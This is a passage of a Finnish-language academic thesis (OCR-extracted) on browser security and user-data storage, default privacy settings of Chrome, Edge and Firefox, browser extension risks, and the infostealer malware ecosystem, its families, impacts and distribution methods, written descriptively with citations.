renderdintimoottorista, verkkoliikenteesta, JavaScript-tulkista ja tietojen
pysyvaistallennuksesta. Kayttdliittyma kattaa nakyvat osat kuten painikkeet ja osoiterivin.
Selainmoottori ja renderdintimoottori kasittelevat verkkosivujen sisallon ja esittavat sen
kayttajalle. Verkkoliikenne hakee tarvittavat resurssit ja huolehtii verkkoprotokollatasoisesta
tietoturvasta. JavaScript-tulkki suorittaa verkkosivujen dynaamista sisaltda ja tietojen
pysyvaistallennus hallinnoi esimerkiksi evasteita, valimuistia ja salasanoja. (Chauhan &

Panda, 2015, Understanding browsers and beyond -luku, neljas kappale)

Modernit selaimet ajavat verkkosivut eristetyissa prosesseissa (ns. sandbox-ymparistdissa)
estaakseen haitallista JavaScript-koodia vahingoittamasta kayttéjarjestelmaa. Tallainen
koodi ei voi esimerkiksi lukea kovalevyn sisaltoa tai keskustella muiden
kayttéjarjestelmaprosessien kanssa. Naista rajoituksista huolimatta JavaScript voi silti
kasitella kayttajan syotteita ja muokata verkkosivujen sisaltéa. (McDonald, 2024, Browser

Security -luku, toinen kappale)

Google Safe Browsing -palvelu hyédyntaa niin sanottuja mustia listoja, eli etukateen
koottuja luetteloita tunnetuista haitallisista verkkosivustoista ja tiedostoista, estadkseen
kayttajia vierailemasta vaarallisilla sivustoilla tai lataamasta haitallista sisaltda. Palvelu lisada
selaamisen turvallisuutta, mutta samalla se voi vaarantaa yksityisyytta, koska uhkien
tarkistus voi paljastaa tietoa kayttajan selaustottumuksista. (Dara ym., 2018, ss. 28-29;

Google, n.d.-a)

Kayttajien valinnoilla on merkittava rooli selaimen tietoturvassa. Esimerkiksi HTTPS-
varoituksen ohittaminen voi altistaa kayttajan haitallisille resursseille, jotka tallentuvat
selaimen valimuistiin ja mahdollistavat hydkkayksen jatkumisen kayttdjan huomaamatta.
Erityisesti mobiiliselaimissa kayttgjat usein ohittavat nama varoitukset, mika lisaa riskia. (Jia
ym., 2015, ss. 62—64)

Chromium-pohjaisissa selaimissa kayttajan asetukset, kuten kirjanmerkit ja selaushistoria,
tallennetaan asetustiedostoihin. Yksi keskeinen tiedosto on Secure Preferences, joka
hallinnoi esimerkiksi laajennusten asennusoikeuksia. Vaikka tiedosto suojaa tietyilta
hyokkayksilta, sen muokkaaminen onnistuu, jos hyokkaaja paivittdd myos tiedoston HMAC-
tiivisteen oikein, mahdollistaen laajennusten salakuljettamisen ilman kayttajan lupaa.
(Picazo-Sanchez ym., 2020, ss. 107-122; Tigzy, 2016)



16 (84)

Vaikka nykyaikaiset selaimet tukevat kehittyneitd suojausmekanismeja kuten Content
Security Policy (CSP) ja Cross-Origin Read Blocking (CORB), toteutuksessa voi silti olla
haavoittuvuuksia. Virheet sisaltotyyppien tunnistamisessa tai kolmansien osapuolien
skriptien oikeuksissa voivat johtaa arkaluontoisten tietojen vuotamiseen. Tama osoittaa,
ettei yksikdan suojausmekanismi yksin riitd tekemaan selaimista taysin turvallisia. (Shou
ym., 2021, ss. 215-217; Wang ym., 2023 s. 2845)

Google on vahvistanut Chrome-selaimen tietoturvaa ottamalla kaytté6n uuden App-Bound
Encryption -tekniikan Windowsilla. Heinakuussa 2024 julkaistusta Chrome 127 -versiosta
alkaen selaimen evasteet salataan niin, etta vain selain itse voi purkaa ne, mika vaikeuttaa
infostealer-haittaohjelmien mahdollisuuksia varastaa kayttajien istuntotietoja salaamalla ne.
(Harris, 2024)

3.1 Kayttajatietojen kasittely selaimissa

Verkkoselaimet tallentavat runsaasti tietoa kayttajan toiminnasta, asetuksista ja
vuorovaikutuksesta verkkopalvelujen kanssa. Tiedot tallennetaan selaimen profiilikansioon
erilaisina tiedostoina ja tietokantoina. Ne sisaltavat muun muassa selaushistorian,
evasteet, lomaketiedot, valimuistin, kirjanmerkit ja tallennetut salasanat. Infostealer-
haittaohjelmien nakdkulmasta ndma tiedostot ovat keskeinen kohde, silla niistéd voidaan
kerata arkaluonteista dataa, kuten kirjautumistietoja ja selauskayttaytymiseen liittyvaa
tietoa. Usein tiedostot ovat helposti I16ydettavissa ja luettavissa esimerkiksi SQLite-
tietokantojen tai JSON-tiedostojen muodossa. (Malviya, 2020) Liite 2 esittelee yleisimpia
tietotyyppeja ja esimerkkisijainteja Windows-jarjestelmissé Chrome-, Firefox- ja Edge-

selaimille.

Evasteet ovat pienia tietopaketteja, joiden avulla verkkosivustot sailyttavat ja siirtavat
kayttajan tilatietoja. Evasteet koostuvat avain-arvo-pareista ja mahdollisista
lisdattribuuteista, kuten Secure-attribuutista, joka rajoittaa siirron vain HTTPS-yhteyksiin.
Evasteet jaetaan ensimmaisen ja kolmannen osapuolen evasteisiin verkkotunnuksen
perusteella ja erityisesti kolmannen osapuolen evasteita kaytetaan seurantaan eri
sivustojen valilla. Teknisesti evasteet tallennetaan selaimen evastevarastoon, jota
Chromium-pohjaisissa selaimissa hallinnoi Cookie Monster -komponentti. (Tyler & Nunes,
2024, ss. 3-4)
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Tallennusratkaisut kuten Local Storage, Session Storage ja IndexedDB mahdollistavat
kayttajapuolen tietojen pysyvamman sailytyksen selaimessa. Local Storage sailyttaa tietoja
pysyvasti iiman vanhenemisaikaa, kun taas Session Storage sailyttaa tiedot vain istunnon
ajan ja poistaa ne automaattisesti sen paattyessa. IndexedDB puolestaan tarjoaa
kehittyneemman tietokantarakenteen suurten ja monimutkaisten tietomaarien hallintaan ja
soveltuu esimerkiksi verkkosovelluksiin, jotka tarvitsevat offline-kaytt6a tai suurten
tiedostojen, kuten kuvien, tallentamista. Vaikka ndma tallennustavat ovat hyédyllisia
verkkosovellusten toiminnan sujuvoittamisessa, ne voivat altistaa selaimen esimerkiksi
Cross-Site Scripting (XSS) -hydkkayksille, mikali verkkosivuston suojaus on puutteellinen.
(Vinci, 2024)

Salasananhallinta selaimissa perustuu siihen, etta salasanat tallennetaan paikallisesti
salattuna. Salauksien purku tapahtuu kayttajan tunnistautumisen jalkeen, mutta avaimet
ovat usein saatavilla samoissa tiedostosijainneissa. Tama tekee selainten tallennetuista
salasanoista haavoittuvia infostealer-haittaohjelmille, jotka pystyvat |[0ytamaan ja
purkamaan tallennetut salasanat automaattisesti. Selainten tarjpamat mahdollisuudet
siirtaa tietoja toisista selaimista, kuten tallennettuja salasanoja, voivat helpottaa hyokkasjia
kokoamaan ja varastamaan kayttajan tiedot yhdesta paikasta. (Zakuskina, 2023; LastPass,
2024)

Yksityinen selaaminen (eng. private browsing) estaa selaushistorian, lomaketietojen ja
hakusanojen tallennuksen paikallisesti istunnon ajalta. Kuitenkin esimerkiksi ladatut
tiedostot ja kirjanmerkit tallentuvat normaaliin tapaan. Yksityinen selaaminen suojaa
kayttajan selaustietoja paikallisella tasolla, mutta ei esta internet-palveluntarjoajia tai
verkkosivustoja seuraamasta kayttajaa, eika se suojaa haittaohjelmilta kuten
keyloggereilta. (Chauhan & Panda, 2015, Understanding browsers and beyond -luku,

viides kappale)

Automaattitayttétoiminto (eng. autofill) helpottaa kayttajien lomaketietojen ja salasanojen
syottamista, mutta samalla lisaa riskia tietojen vaarinkaytoksiin. Haitalliset verkkosivustot
voivat keraté automaattitaytettyja tietoja kayttdjan huomaamatta. (Lin ym., 2020, s.507—

508, s.511)
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3.2 Selainkohtaiset tietoturva-asetukset

Eri selaimet eroavat merkittavasti siina, kuinka paljon ne oletusasetuksilla valittavat
kayttajatietoja taustajarjestelmiinsa. Tutkimuksessaan Leith (2021) havaitsi, ettd osa
selaimista lahettaa automaattisesti esimerkiksi selainhistorian katkelmia, yksildivia
tunnisteita tai nappainpainalluksia palvelimille, usein kayttajan huomaamatta. Lisaksi
ominaisuudet kuten automaattiset hakuehdotukset ja sivujen esilataus voivat mahdollistaa
seurannan ja evasteiden tallentamisen jo ennen kuin kayttaja vierailee sivustolla. Brave-
selain erottui tutkimuksessa edukseen, silla sen oletusasetukset suojaavat kayttajan
yksityisyytta muita paremmin. Useimmissa muissa selaimissa yksityisyysasetusten

saataminen jaa kayttajan vastuulle.

Selainten valmistajat mainostavat tarjoavansa vahvaa tietoturvaa ja yksityisyydensuojaa.
Google (n.d.-b) korostaa Chromen vahvuuksina muun muassa sisdanrakennettua
tietoturvaa, selainpohjaista salasanahallintaa, automaattisia paivityksia ja incognito-tilaa.
Mozilla (n.d.) kertoo Firefoxin kattavista yksityisyys- ja turvallisuusasetuksia, joilla kayttaja
voi hallita muun muassa mainosseurantaa ja salasanojen hallintaa. Microsoft (n.d.) esittaa
Edgen ominaisuuksiksi muun muassa Microsoft Defender SmartScreenin suojautumiseen
haitallisilta verkkosivuilta sekd sisdanrakennetun salasanavalvonnan mahdollisesti

vaarantuneiden tunnusten havaitsemiseksi.

Todellisuudessa yksityisyyden taso riippuu kuitenkin usein siita, kuinka aktiivisesti kayttaja
itse muokkaa selaimen asetuksia. Seuraavassa osiossa tarkastellaan kolmen
suosituimman selaimen: Chromen, Firefoxin ja Edgen oletusasetuksia tietoturvan

nakokulmasta kevaalla 2025 tehtyjen havaintojen perusteella.

Naiden selainten valillda on havaittavissa selkeita eroja siina, kuinka tietoturva- ja
yksityisyysasetukset on oletuksena maaritetty. Eroja esiintyy seka suojausasetusten
laajuudessa etta siing, kuinka nakyvasti ja helposti asetuksia voi kayttoliittymassa muokata.
Yhteisena havaintona voidaan todeta, etta tietoturva-asetukset eivat useinkaan ole
selkeasti esilla ja kayttajan on monesti edettava useiden valikoiden kautta paastakseen
niihin kaikkiin kasiksi. Tama korostuu erityisesti Chromium-pohjaisissa selaimissa, joissa
samanlaisille toiminnoille kaytetdan eri valmistajien kesken vaihtelevia termeja ja kasitteita.

Tarkastelun paahavainnot on tiivistetty Taulukko 1.
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Google Chrome perustuu tiiviisti Google-ekosysteemiin. Automaattinen tayttd on
oletuksena kaytdssa, mutta tallennettujen tietojen kayttdéa ei ole erikseen suojattu
esimerkiksi paasalasanalla. Selaimessa on oletuksena paalla asetus, joka varoittaa omien
tunnuksien l6ytymisesta tunnetuista tietovuodoista. Seuranta ja evasteet ovat oletuksena
sallittuja, ja kayttajan taytyy itse rajoittaa niita, mikali haluaa enemman yksityisyytta. Safe
Browsing on oletuksena paalla standarditason asetuksilla, mika tarkoittaa, etta vaarallisista
sivustoista ja latauksista varoitetaan ilman, etta selain seuraa tarkemmin kayttajan
toimintaa. Tietyt asetukset, kuten kayttdoikeuksien hallinta, ovat hajautettuina eri

valikkoihin. Pop-up-ikkunat ja uudelleenohjaukset on estetty oletuksena.

Microsoft Edge hyodyntaa Windowsin suojausratkaisuja, kuten oletuksena kaytéssa olevaa
Defender SmartScreen -toimintoa, joka suojaa haitallisilta verkkosivuilta. Myds
kirjoitusvirheitd hyédyntavien verkkosivujen esto (eng. website typo protection) on
oletuksena kaytossa. Edge mahdollistaa Office-tiedostojen avaamisen suoraan selaimessa
ilman tallennusta. Automaattinen taytté on kaytéssa kuten Chromessa, mutta mydskaan
tassa selaimessa ei ole oletuksena paalla erillista suojaa tallennettujen tietojen kaytolle.
Selain sallii oletuksena verkkosivujen paasyn maksutietojen tarkistamiseen. Evasteiden ja
seurantatiedon jakaminen Microsoftin kanssa on oletuksena paalla. HTTPS-pakotus on
oletuksena kaytdssa ja selain tarjoaa lisdominaisuutena VPN-yhteyden julkisissa verkoissa.

Pop-up-ikkunoiden ja uudelleenohjausten esto on aktiivinen.

Firefox estda automaattisesti kolmannen osapuolen seurantaa, mukaan lukien evasteet,
sosiaalisen median seuranta ja verkkosivujen valinen kayttdjadatan jakaminen. Evasteiden
kasittelyssa kaytdossa on Total Cookie Protection -ominaisuus, joka eristaa evasteet
sivukohtaisesti. Seurantaa voi halutessaan tiukentaa lisda. Automaattinen taytté on
kaytdssa, mutta salasanat eivat ole oletuksena suojattuja paasalasanalla. Selain varoittaa
haitallisesta sisallosta ja estda pop-up-ikkunat seka luvattomat lisdosien asennusyritykset.
Laajennusvalikossa Firefox ehdottaa joitain lisdosia, mika voi tuntua ristiriitaiselta
yksityisyytta korostavan ldhestymistavan kanssa. Esimerkiksi SingleFile-laajennus, jonka
avulla voi tallentaa verkkosivuja HTML-muotoon, vaatii laajat kayttooikeudet, mika ei ole

taysin linjassa selaimen yksityisyyslinjauksen kanssa.

Vaikka selainten on yleisesti tiedetty paivittyvan automaattisesti, kayttajan mahdollisuudet
valvoa ja saadella tata toimintoa eroavat selaimittain. Chrome ja Edge-selaimet hoitavat

paivitykset taustalla ilman kayttajan toimenpiteitd, eika niissa ole erillistd asetusta, josta
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voisi tarkistaa automaattisen paivityksen tilan tai muuttaa sen toimintaa. Ajan tasalla olevan
version voi varmistaa vain siirtymalla selaimen paivityssivulle, mutta tdman toimintatavan
merkitysta ei tuoda kayttajalle selkeasti esiin. Firefox puolestaan tarjoaa kayttajalle
konkreettisen valinnan eli paivitykset voidaan joko asentaa automaattisesti tai hakea
manuaalisesti. Tama antaa kayttajalle paremman nakyvyyden ja hallinnan selainpaivityksiin

verrattuna edella mainittuihin vaihtoehtoihin.

Taulukko 1. Selainten oletusasetukset tietoturvan nakokulmasta.

Selain Chrome Edge Firefox
Versio 135.0.7049.115 135.0.3179.85 137.0.2
I, Tarkistus 16ytyy, I, Tarkistus 16ytyy, o
Automaattipaivitys mutta ei kayttajan mutta ei kayttajan v Automaattipaivitys
s e valittuna.
hallittavissa. hallittavissa.
i, Tallennus Google X Ei suojausta X Ei suojausta
Salasanojen tallennus  Password Manager, ei tallennettujen tallennettujen
erillistd suojaa. salasanojen kaytolle. salasanojen kaytolle.

« Estda oletuksena
monipuolisesti

X Oletuksena sallii 1. Osittainen esto, (trackers
Seurannan esto mainos- ja mutta kayttajadataa , L
o . . ) fingerprinting).
kayttajadatan keruun. jaetaan Microsoftille. T :
Kayttajadataa jaetaan
Mozillalle.
1. Kolmannen
Evisteiden hallinta osapuoler) evasteet X Kaikki evés.teet v Tote_ll Cookie
estetty vain oletuksena sallittu. Protection oletuksena.
incognitossa.
HTTPS-pakotus ! V0|d.aan aktivoida {"Agtomatlc HTTPS ! Vo@aan aktivoida
asetuksista. paalla. asetuksista.
Taulukon seloste: « = Hyva, 4. = Rajoitettu/tarvitsee asetusten saatoa, X =

Heikko/palvelu puuttuu.

Kokonaisuutena tarkastellen voidaan todeta, etta kayttajan oma tietoturvaosaaminen ja -
tietoisuus ovat keskeisessa roolissa selaimen turvallisessa kaytdssa. Selaimet pyrkivat
optimoimaan kayttajakokemuksen sujuvuutta, turvallisuutta ja omaan
datankeruutarpeeseensa sopivaa tasapainoa, mutta tdma tarkoittaa usein sita, etta tarkeat
tietoturva- ja yksityisyysasetukset jaavat oletusarvoisesti melko kevyiksi. Kayttajan on

oltava aktiivinen ja tietoinen, seka tarkistettava saannollisesti asetustensa tila.
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3.3 Selainlaajennukset ja niiden tietoturvariskit

Selainlaajennukset ovat erillisia sovelluksia, jotka laajentavat selaimen ominaisuuksia
kayttajan tarpeiden mukaan. Ne toimivat verkkosivujen paalla ja saavat usein laajoja
oikeuksia selaimen tarjoamiin rajapintoihin (API), kuten valilehtiin, selaushistoriaan,
latauksiin ja selaintietoihin. (Frisbie, 2022, What are browser extensions -luku,
ensimmainen kappale; Frisbie, 2022, Fundamental elements of browser extensions -luku,
toinen kappale) Selainlaajennuksia asennetaan joko selaimen omasta laajennuskaupasta

tai suoraan kayttajan laitteelta.

Laajennuksia I6ytyy monenlaisiin tarkoituksiin, kuten mainosten estamiseen, salasanojen
hallintaan, median hallintaan ja tekstin kdantamiseen. Niiden paatavoite on helpottaa
kayttda ja parantaa saavutettavuutta. (Chauhan & Panda, 2015, Understanding browsers
and beyond -luku, viides kappale; Chrome web store, n.d.-a) Esimerkiksi Read Aloud -
laajennus lukee verkkosivun tekstit 8dneen, mika hyodyttaa kayttdjia, joilla on lukemisen tai

nakemisen vaikeuksia. (Chrome web store, n.d.-b)

Selainlaajennusten kayttdoikeudet toimivat samalla periaatteella kuin mobiilisovelluksissa
eli oikeuksia selaimen rajapintoihin on pyydettava erikseen. Valttamattémat oikeudet
hyvaksytaan asennuksen yhteydessa, kun taas laajemmat oikeudet (esimerkiksi kaikkien
sivustojen muokkausoikeus) vaativat erillisen hyvaksynnan. Laajennusten paivitykset, jotka
muuttavat kayttooikeuksia, vaativat kayttajan uuden hyvaksynnan ja voivat johtaa
laajennuksen automaattiseen poistamiseen kaytosta. (Frisbie, 2022, permissions-luku,

ensimmainen kappale)

Koska laajennukset toimivat verkkosivujen istunnoissa, niiden sisaltoskriptit voivat
hyodyntaa sivun evasteita ja suorittaa automaattisia toimintoja kayttajan kirjautuneessa
istunnossa. Tama mahdollistaa tehokkaan toiminnallisuuden, mutta lisaa samalla riskia
vaarinkaytoksiin. Uudempi Manifest v3 -malli (laajennuksen toimintaa maarittava
konfiguraatiotiedosto ja sen versio) rajoittaa taustaskriptien toimintaa, mika vaikeuttaa
pysyvia verkkoyhteyksia ja evastepohjaisia hyokkayksia. (Frisbie, 2022, networking-luku,

ensimmainen kappale)

Selainlaajennuksen voi kdytdnndssa julkaista kuka tahansa. Esimerkiksi Chrome Web

Storeen julkaiseminen edellyttda vain viiden dollarin maksua ja Googlen tarkastusprosessin
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lapaisemista (Frisbie, 2022, Extension development and deployment -luku) Vaikka Chrome
Web Storen (Chrome for developers, n.d.) vaatimukset edellyttavat selkeaa
tietosuojakaytantoa ja avointa kayttdoikeuksien ilmoittamista, kaytannon valvonta ja

soveltaminen on puutteellista.

Moreno ja kumppanit (2024, ss. 1-13) havaitsivat tutkimuksessaan, ettd monet haitalliset
tai kaytantoja rikkovat laajennukset pysyivat laajennuskaupassa kuukausia tai jopa vuosia
ennen poistamista. Vaikka noin 13 % haitallisista laajennuksista poistettiin kuukaudessa,
suurin osa pysyi saatavilla pidempaan. Tutkimus paljasti myoés ilmion, jossa saman
kehittajan poistettuja laajennuksia julkaistiin uudelleen uusina versioina ja 86 % poistetuista

laajennuksista palautui kauppaan ilman automaattista estoa.

Monet haitalliset laajennukset luokitellaan vain "mahdollisesti ei-toivotuiksi sovelluksiksi",
vaikka niiden toiminta vastaa kaytannossa haittaohjelmien toimintaa. (Picazo-Sanchez ym.,
2020, s.108) Haitalliset laajennukset voivat varastaa kayttajatietoja, muokata verkkosivujen
sisaltda, ohjata liikkennetta haitallisille sivustoille tai altistaa kayttajaa mainoshyokkayksille.
(Pantelaios ym., 2020, s. 477)

Vaikka hyvamaineiset laajennukset voivat merkittavasti parantaa kayttokokemusta,
kayttajan tulisi suhtautua selainlaajennuksiin samalla kriittisyydella kuin mihin tahansa
ohjelmistoihin eli asentaa vain tarpeelliset, tarkistaa sdanndllisesti kaytdssa olevat
laajennukset ja suosia tunnettuja, hyvamaineisia kehittgjia. Laajennukset voivat muodostaa

vakavan tietoturvariskin erityisesti, jos niiden kayttdoikeuksia tai paivityksia ei valvota.
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4 Infostealer-haittaohjelmat

Taloudellinen hyéty on infostealer-haittaohjelmien keskeinen tekija. Naita haittaohjelmia
kaytetdan usein verkkorikollisen uran ensimmaisena valineena, silla ne ovat helposti
saatavilla ja helppokayttdisia. Erityisesti Malware-as-a-Service (MaaS) -palveluiden myota
hyokkaajan ei tarvitse itse kehittda haittaohjelmaa, vaan han voi ostaa valmiin tuotteen
esimerkiksi kuukausimaksulla ja aloittaa tietovarkaudet lahes valittémasti. Infostealer-
hyokkaykset toimivat usein valivaiheen rikoksina, joista varastetut tiedot voivat paatya
edelleen vakavampiin rikoksiin, kuten organisaatioihin tai valtioihin kohdistuviin kiristys- ja
vakoiluhyokkayksiin. Kuva 4 havainnollistaa, kuinka monivaiheinen infostealer-
haittaohjelman ekosysteemi voi olla aina haittaohjelman kehittdmisesta ja levittamisesta
varastettujen tietojen hyédyntdmiseen isoissa kiristyshydkkayksissa. (Australian Signals

Directorate’s Australian Cyber Security Centre, 2024, ss.3—4)

Kuva 4. Infostealer-haittaohjelma ekosysteemin kuvaus. (Australian Signals Directorate’s
Australian Cyber Security Centre, 2024, s.7)
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ANY.RUN-sivuston (n.d.-a) Malware Trends Tracker osoittaa kevaalla 2025, etta viimeisen
vuoden yleisimmista haittaohjelmista valtaosa liittyy tietojen varastamiseen: nelja
kymmenesta on infostealer-haittaohjelmia, kolme etakayttétroijalaisia ja kaksi
tietovarkauksiin erikoistuneita troijalaisia. Kiristyshaittaohjelmat, jotka usein saavat eniten
nakyvyytta mediassa, jadvat maarallisesti selvasti infostealer-haittaohjelmien varjoon.
Kuten Kuva 5 ilmenee, listalla on vain yksi kiristyshaittaohjelma. Listan karjessa on Lumma,

johon palataan tarkemmin myéhemmassa luvussa.

Kuva 5. ANY.RUN-sivuston haittaohjelma trendit vimeisen vuoden aikana, haettu 9.4.2025
(ANY.RUN, n.d.-a)
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Yleensa infostealer-haittaohjelmat pystyvat varastamaan muun muassa kayttajatunnuksia,
salasanoja, istuntoevasteita, selainten automaattitayttétietoja, sdhkdpostien sisaltdja ja
yhteystietoja, selaushistorioita, kayttajan asiakirjoja, luottokorttitietoja, viestisovellusten
viestilokeja, kayttojarjestelmatietoja, kryptovaluuttalompakkotietoja sekd VPN- ja
tiedostojakopalveluiden tunnuksia. (Australian Signals Directorate’s Australian Cyber
Security Centre, 2024, s. 6).

Vaikka infostealer-haittaohjelmat houkuttelevat paasaantdisesti rikollisia, jotka tavoittelevat
taloudellista hyotya, niistd ovat kiinnostuneita myds kehittyneemmat uhkatoimijat (eng.
advanced persistent threat, APT). Esimerkiksi SideCopy-APT-ryhma kaytti infostealer-
haittaohjelmaa varastaakseen valtionhallinnon tyontekijoiden arkaluonteisia tietoja, kuten
kirjautumistietoja hallituksen portaaleihin, sosiaalisen median tileille ja pankkipalveluihin.
Hyokkayksissa kaytettiin houkuttimina muun muassa Microsoft Publisher -tiedostoja, jotka

asensivat AuTo Stealer -haittaohjelman uhrien jarjestelmiin. (ThreatDown, 2021)

Gal (2025) tiivistaa ilmion toteamalla, etta "infostealer-haittaohjelmat muuttavat tyéntekijat
sisapiirin uhiksi". Tama havainnollistaa, kuinka infostealer-hyékkaykset voivat muuttaa

tavallisia tyontekijoita tietamattaan merkittavaksi turvallisuusriskiksi organisaatioille

Infostealer-haittaohjelmat ovat aiheuttaneet vakavan uhan myds Yhdysvaltain sotilas- ja
puolustussektorille. Gal (2025) mukaan merkittavien puolustussektorin urakoitsijoiden,
kuten Lockheed Martinin ja Honeywellin, tydntekijéihin on kohdistunut hydkkayksia, joissa
rikolliset ovat saaneet haltuunsa heidan kirjautumistietojaan. Artikkeli osoittaa, etta jopa
kansallisen turvallisuuden kannalta kriittiset organisaatiot ja niiden toimitusketjut ovat

haavoittuvia naille hyokkayksille.

4.1 Infostealer-haittaohjelmien kehitys ja jaottelu

Yksi varhaisimmista ja tunnetuimmista infostealer-haittaohjelmista on Zeus-
pankkitroijalainen, joka havaittiin ensimmaisen kerran vuonna 2006. Sen kehityksesta ja
levityksesta vastasivat alun perin venalaiset rikollisverkostot. (Riccardi ym., 2013, s.423—
424) Zeus tarjosi tydkalupaketin raataloityjen haittaohjelmien luomiseen ja bottiverkkojen
hallintaan. Alkuperaisen ldhdekoodin vuodettua vuonna 2011 siité syntyi useita eri
variantteja. Zeus toimi asiakas—palvelinarkkitehtuurilla ja levisi muun muassa drive-by-

latausten ja tietojenkalastelukampanjoiden avulla. Tartunnan jalkeen se kerasi
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kayttajatietoja monipuolisin keinoin, kuten HTML-injektion, keyloggerin ja nayttokuvien
kaappauksen avulla. Erityisesti sen kyky varastaa pankkitietoja teki siitd vakavan uhan.
(Grammatikakis ym., 2021, s.2-6)

Toisen aallon infostealer-haittaohjelmiin kuuluvat muun muassa RedLine Stealer ja
Raccoon Stealer. Vuonna 2020 julkaistu RedLine on edelleen aktiivisesti myynnissa
kyberrikollisten foorumeilla, ja se on sailyttdnyt suosionsa erityisesti helppokayttdisyytensa
ja edullisuutensa ansiosta. (KELA Cyber Team, 2022; Gridinsoft, 2025a) Raccoon Stealer
puolestaan oli yksi vuoden 2019 puhutuimmista infostealereista. Se palasi markkinoille
vuonna 2022 kehittajan pidatyksen jalkeen paivitettyna versiona nimella Raccoon Stealer
2.0, jossa on havaittu kehittyneempia haittaohjelmien tunnistamista kiertavia tekniikoita.
(hardee, 2022)

Vidar, joka on tunnettu vuodesta 2018, keskittyy henkildkohtaisten tietojen ja
kryptovaluuttalompakoiden varastamiseen ja leviaa erityisesti sahkdpostihuijauksilla ja
haitallisilla hakumainoksilla (Gridinsoft, 2025b). Vuonna 2023 julkaistu Stealc jaljittelee
Vidar- ja Raccoon-stealereita, ja se on nopeasti saavuttanut suosiota kyberrikollisten
keskuudessa. Stealc on varustettu edistyneilla ominaisuuksilla, kuten jarjestelmatietojen
kerdamiselld, virustorjuntaohjelmien havaitsemismekanismeilla, obfuskoinnilla ja
pysyvyyden luomisella jarjestelmaan. (Bourgue ym., 2023; ANY.RUN, n.d.-b) Naita
haittaohjelmia yhdistaa aktiivinen kehitys seka pyrkimys ohittaa virustorjunta- ja

analyysijarjestelmat tehokkaasti.

Infostealereita kehitetddn monilla eri ohjelmointikielilla, kuten C++, .NET, Python ja Rust,
mika kuvastaa niiden kehityksen laajuutta ja mukautumiskykya. ANY.RUN-sivuston (n.d.-a)
mukaan haittaohjelmatrendeissa esiintyy useita infostealereita, joilla on jokaisella omat
tavoitteensa ja erityispiirteensa. Esimerkiksi Amadey, Purelogs ja Pony toimivat
modulaarisina osina laajempia hyokkayskampanijoita, kun taas Agent Tesla keskittyy
tarkkailuun ja vakoiluun. MetaStealer, Meduza ja StrelaStealer edustavat kehittyneempia
ratkaisuja, jotka painottavat huomaamattomuutta ja pysyvyytta pyrkien keraamaan
mahdollisimman laajasti tietoa uhrin jarjestelmasta. Epsilon Stealer hyddyntaa Electron-
ohjelmointikehysta mahdollistamalla monialustaisen toiminnan ja tehokkaan piiloutumisen.
Blank Grabberin levittdminen avoimilla alustoilla puolestaan osoittaa, kuinka helposti

haittaohjelmateknologia on nykyaan kenen tahansa saatavilla. (ANY.RUN, n.d.-c;
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ANY.RUN, n.d.-d; ANY.RUN, n.d.-e; ANY.RUN, n.d.-f; ANY.RUN, n.d.-g; ANY.RUN, n.d.-h;
ANY.RUN, n.d.-i; ANY.RUN, n.d.-j; Stux, 2024)

4.2 Infostealer-haittaohjelmien uhat ja seuraukset

Infostealer-haittaohjelmien jakelussa yleistyneet niin sanotut traffer-kitit tai affiliate-ohjelmat
madaltavat rikollisen toiminnan kynnysta. Haittaohjelman kehittajat tarjoavat maksua tai
tuotto-osuutta vastaan kokonaisia tyokalu- ja tukipaketteja muille toimijoille, jotka vastaavat
itse haittaohjelman levityksesta ja tiedonkeruusta (KELA Cyber Team, 2022). Infostealerit
toimivat usein osana monivaiheisia hyokkaysketjuja, kuten CrackedCantil-kampanja
osoittaa. Siind havaittiin useiden eri haittaohjelmien, kuten lataajien, infostealereiden,
kryptovaluuttalouhijoiden, valityspalvelinten ja kiristyshaittaohjelmien yhteisty6ta.
(LambdaMamba, 2024) Nama rikollisten liikketoimintamallit ovat tehneet haittaohjelmien

levidmisestd nopeampaa ja jarjestaytyneempaa kuin koskaan aiemmin.

Infostealer-haittaohjelmat ovat muodostuneet niin merkittavaksi uhkaksi, etta niiden
torjuntaan osallistuu yha useammin joukko eri maiden viranomaisia. Vuonna 2024
toteutettu Operaatio Magnus on esimerkki kansainvalisesta yhteistydsta kyberrikollisuuden
vastaisessa taistelussa. Operaatio toteutettiin kuuden maan yhteistyéna ja sen aikana
kaadettiin useita infostealer-haittaohjelmaverkostoja, jotka olivat varastaneet satoja
miljoonia kirjautumistietoja ympari maailmaa. Operaatio korostaa kansainvalisen
koordinaation merkitysta globaalien kyberuhkien hallinnassa. Kuva 6 on esitetty Operaatio

Magnuksen verkkosivu ja mukana olleet viranomaiset. (Eurojust, 2024)
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Kuva 6. Operaatio Magnus infosivusto (Operation Magnus, n.d.)

OPERATION MAGNVS

PULITIE 9 @ 'ﬁ ESLE @ 0 Q NCA

Federal Police

POLICIA OPENBAAR MINISTERIE o ES
@Junlcu\nm T

Infostealer-hyokkayksilla on merkittavia vaikutuksia seka yksildihin etta organisaatioihin.
Yksil6ihin kohdistuvia haittavaikutuksia ovat luvattomat kirjautumiset sahkoposti- ja
sosiaalisen median tileille, kohonnut riski identiteettivarkauden ja
tietojenkalasteluhyokkayksen uhriksi joutumiselle, taloudelliset menetykset seka
yksityisyyden menetys. Organisaatioihin kohdistuvia riskeja ovat
kiristyshaittaohjelmahyodkkaykset, tietomurrot, tekijanoikeusrikkomukset, arkaluontoisten
tietojen menetykset ja niin sanotut business email compromise -hyokkaykset, joissa
hybkkaaja kaappaa tai jaljittelee yrityksen sahkdpostiviestintda esimerkiksi huijauslaskujen
lahettamiseksi. (Australian Signals Directorate’s Australian Cyber Security Centre, 2024,
s.8)

4.3 Infostealer-haittaohjelmien leviamistavat

Infostealer-haittaohjelmat eivat yleensa murtaudu laitteisiin perinteisin keinoin esimerkiksi
haavoittuvuuksia hyodyntamalla tai jarjestelmaa aktiivisesti hakkeroimalla, vaan ne
odottavat kayttajan virhetta, joka avaa niille paasyn jarjestelman sisaan (Gal, 2025). Naiden

haittaohjelmien levitykseen kaytetaan monipuolisia keinoja, kuten tietojenkalasteluviesteja,
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piraattiohjelmistoja, hakukoneoptimoinnin hyvaksikayttoa, haitallisia mainoksia seka
sosiaalisessa mediassa jaettuja linkkeja (Australian Signals Directorate’s Australian Cyber
Security Centre, 2024, ss. 3, 6). Monet kampanjat ovat tarkoin ajoitettuja. Esimerkiksi
Windows 11:n julkaisun yhteydessa rikolliset pystyttivat huijaussivuston, joka jaljitteli
Microsoftin virallista sivustoa ja kehotti kayttajaa paivittamaan kayttojarjestelmansa
lataamalla .zip-tiedoston. Lataus sisalsi kuitenkin RedLine Stealer -haittaohjelman.
(Schlapfer, 2022)

